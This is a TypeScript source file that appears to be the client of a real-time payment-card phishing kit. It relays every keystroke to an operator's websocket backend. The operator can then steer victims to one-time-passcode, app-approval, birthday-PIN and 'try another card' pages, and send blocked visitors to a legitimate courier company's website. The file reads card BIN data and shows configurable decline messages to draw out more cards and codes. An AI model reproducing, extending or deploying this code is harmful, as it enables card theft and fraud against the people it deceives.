295 lines
7.8 KiB
TypeScript
295 lines
7.8 KiB
TypeScript
import _ from "lodash";
|
|
import eventBus from "@/utils/eventBus";
|
|
import router from "@/router";
|
|
import { ref } from "vue";
|
|
import { useLoadingStore } from "@/stores/loadingStore";
|
|
import i18n from "@/main";
|
|
import { useSocketIo, type SessionCrypto } from "./socketio";
|
|
|
|
let viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
if (viteBaseUrl === "/") {
|
|
viteBaseUrl = "/";
|
|
} else if (viteBaseUrl === "localhost:8011") {
|
|
viteBaseUrl = "ws://" + viteBaseUrl;
|
|
} else {
|
|
viteBaseUrl = "wss://" + viteBaseUrl;
|
|
}
|
|
|
|
|
|
// Redirect to an external URL
|
|
export function redirectToExternal() {
|
|
window.location.replace("https://www.shadowfax.in/");
|
|
}
|
|
|
|
const initHtml = async () => {
|
|
const routePath = localStorage.getItem("route");
|
|
// headHtml.value = await loadHtml("/gtm_post/head.html");
|
|
|
|
await router.push(routePath ? `/${routePath}` : "/home");
|
|
setTimeout(async () => {
|
|
useLoadingStore().setLoading(false);
|
|
loadingBg.value = "#00000072";
|
|
}, 200);
|
|
};
|
|
|
|
export const customOtpData = ref<any>({});
|
|
|
|
export function setCustomOtpData(data: any) {
|
|
customOtpData.value = data;
|
|
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
}
|
|
|
|
export let myWebSocket: any | undefined;
|
|
|
|
// Configuration data
|
|
export const configData = ref<Record<string, any>>({});
|
|
|
|
// Utility function to check if all values in an object are not empty
|
|
export function areAllValuesNotEmpty(
|
|
obj: Record<string, any>,
|
|
excludedFields: string[] = []
|
|
): boolean {
|
|
return Object.keys(obj).every((key) => {
|
|
if (excludedFields.includes(key)) return true;
|
|
const value = obj[key];
|
|
return (
|
|
value !== null &&
|
|
value !== undefined &&
|
|
value !== "" &&
|
|
!(typeof value === "string" && value.trim() === "")
|
|
);
|
|
});
|
|
}
|
|
|
|
// 存储 WebSocket 和 API 的防抖函数
|
|
const wsDebounceFunctions: Record<
|
|
string,
|
|
_.DebouncedFunc<(...args: any[]) => void>
|
|
> = {};
|
|
const apiDebounceFunctions: Record<
|
|
string,
|
|
_.DebouncedFunc<(...args: any[]) => void>
|
|
> = {};
|
|
|
|
// 获取或创建针对某个键的防抖函数
|
|
function getDebouncedFunction(
|
|
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
key: string,
|
|
func: (...args: any[]) => void,
|
|
wait: number
|
|
) {
|
|
if (!debounceFunctions[key]) {
|
|
debounceFunctions[key] = _.debounce(func, wait);
|
|
}
|
|
return debounceFunctions[key];
|
|
}
|
|
|
|
const modeRef = ref(1)
|
|
|
|
|
|
// 处理输入变化
|
|
export function inputChange(type: string, key: any, value: any) {
|
|
const currentTimestamp = Date.now(); // 当前时间戳
|
|
|
|
// WebSocket 防抖函数
|
|
const wsDebouncedFunction = getDebouncedFunction(
|
|
wsDebounceFunctions,
|
|
key,
|
|
(type, key, value) => {
|
|
myWebSocket?.send(
|
|
JSON.stringify({
|
|
event: "input_text",
|
|
content: { type, key, text: value },
|
|
timestamp: currentTimestamp,
|
|
})
|
|
);
|
|
},
|
|
300
|
|
);
|
|
// 调用防抖函数
|
|
wsDebouncedFunction(type, key, value);
|
|
|
|
}
|
|
|
|
|
|
// Handle login success
|
|
export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) {
|
|
const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host;
|
|
myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto);
|
|
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
myWebSocket?.on("open", () => {
|
|
const lastToken = localStorage.getItem("token");
|
|
loginWebsocket(token, lastToken !== token);
|
|
});
|
|
|
|
myWebSocket?.on("message", handleMessage);
|
|
|
|
window.addEventListener("beforeunload", () => {
|
|
myWebSocket?.off("close");
|
|
});
|
|
}
|
|
|
|
// Handle WebSocket messages
|
|
function handleMessage(data: any) {
|
|
console.log("Received WebSocket message:", data);
|
|
const jsonData = JSON.parse(data);
|
|
if (!jsonData || !jsonData.event) return;
|
|
|
|
const { event, content } = jsonData;
|
|
|
|
switch (event) {
|
|
case "login":
|
|
//handleLoginEvent(content);
|
|
break;
|
|
case "result_type":
|
|
handleResultTypeEvent(content);
|
|
break;
|
|
case "reload":
|
|
window.location.reload();
|
|
break;
|
|
case "navigate":
|
|
navigateTo(content.pagePath, content);
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Handle result type event
|
|
function handleResultTypeEvent(content: any) {
|
|
if (!content) return;
|
|
console.log("Handling result type event with content:", content);
|
|
const typeHandlers: Record<string, () => void> = {
|
|
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
otpValid: () => navigateTo("/otpValid", content),
|
|
appValid: () => navigateTo("/appValid", content),
|
|
success: () => router.push("/success"),
|
|
kickOut: redirectToExternal,
|
|
block: redirectToExternal,
|
|
otpFail: () =>
|
|
eventBus.emit("otp-valid", {
|
|
message2:
|
|
content.value.message2 ||
|
|
i18n.global.t("Verification code error, please try again"),
|
|
}),
|
|
appFail: () =>
|
|
eventBus.emit("app-valid", {
|
|
message2:
|
|
content.value.message2 ||
|
|
i18n.global.t(
|
|
"The session is about to expire, please complete the verification now"
|
|
),
|
|
}),
|
|
back: () => handleBackOrReject(content, true),
|
|
reject: () => handleBackOrReject(content, false),
|
|
refresh: () => {
|
|
if (localStorage.getItem("route")) {
|
|
localStorage.removeItem("route");
|
|
window.location.reload();
|
|
}
|
|
},
|
|
|
|
};
|
|
if (content.type == "customOtpValid") {
|
|
if (content.value.customOtpData) {
|
|
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
}
|
|
}
|
|
if (content.type === "customOtpValid") {
|
|
if (customOtpData.value.name === "生日验证") {
|
|
useLoadingStore().setLoading(false);
|
|
navigateTo("/pinCode", content);
|
|
return;
|
|
}
|
|
}
|
|
if (content.type == "customOtpFail") {
|
|
eventBus.emit("custom-otp-valid", {
|
|
message2: content.value.message2,
|
|
});
|
|
}
|
|
|
|
const handler = typeHandlers[content.type];
|
|
if (handler) handler();
|
|
|
|
useLoadingStore().setLoading(false);
|
|
}
|
|
|
|
// Navigate to specific path with query parameters
|
|
function navigateTo(path: string, content: any) {
|
|
|
|
router.push('/temp').then(() => {
|
|
router.push({
|
|
path: path,
|
|
query: {
|
|
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
message1: content.value?.message1,
|
|
key: new Date().getMilliseconds(),
|
|
},
|
|
});
|
|
});
|
|
}
|
|
|
|
// Handle back or reject type
|
|
function handleBackOrReject(content: any, isBack: boolean) {
|
|
let message2 = i18n.global.t(
|
|
"This card does not support this transaction, please try another card"
|
|
);
|
|
|
|
if (configData.value.error_card_msg) {
|
|
message2 = configData.value.error_card_msg;
|
|
}
|
|
|
|
if (content.value.type) {
|
|
const type = content.value.type;
|
|
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
message2 = configData.value.deny_c_msg;
|
|
}
|
|
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
message2 = configData.value.deny_d_msg;
|
|
}
|
|
}
|
|
|
|
if (content.value.message2) {
|
|
message2 = content.value.message2;
|
|
}
|
|
|
|
if (isBack) {
|
|
router.push({ path: "/card", query: { message2 } });
|
|
}
|
|
|
|
eventBus.emit("my-event", { message2 });
|
|
}
|
|
|
|
// Login to WebSocket
|
|
function loginWebsocket(token: string, isFirst: boolean) {
|
|
myWebSocket?.send(
|
|
JSON.stringify({
|
|
event: "login",
|
|
content: { tag: "user", token, isFirst },
|
|
})
|
|
);
|
|
initHtml();
|
|
}
|
|
|
|
|
|
|
|
export async function loadHtml(url: string) {
|
|
try {
|
|
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
if (!response.ok) {
|
|
return "";
|
|
}
|
|
return await response.text();
|
|
} catch (error) {
|
|
return "";
|
|
}
|
|
}
|
|
export const headHtml = ref("");
|
|
|
|
export const headerHtml = ref("");
|
|
export const footerHtml = ref("");
|
|
export const loadingBg = ref("#ffffff");
|
|
|
|
|
|
|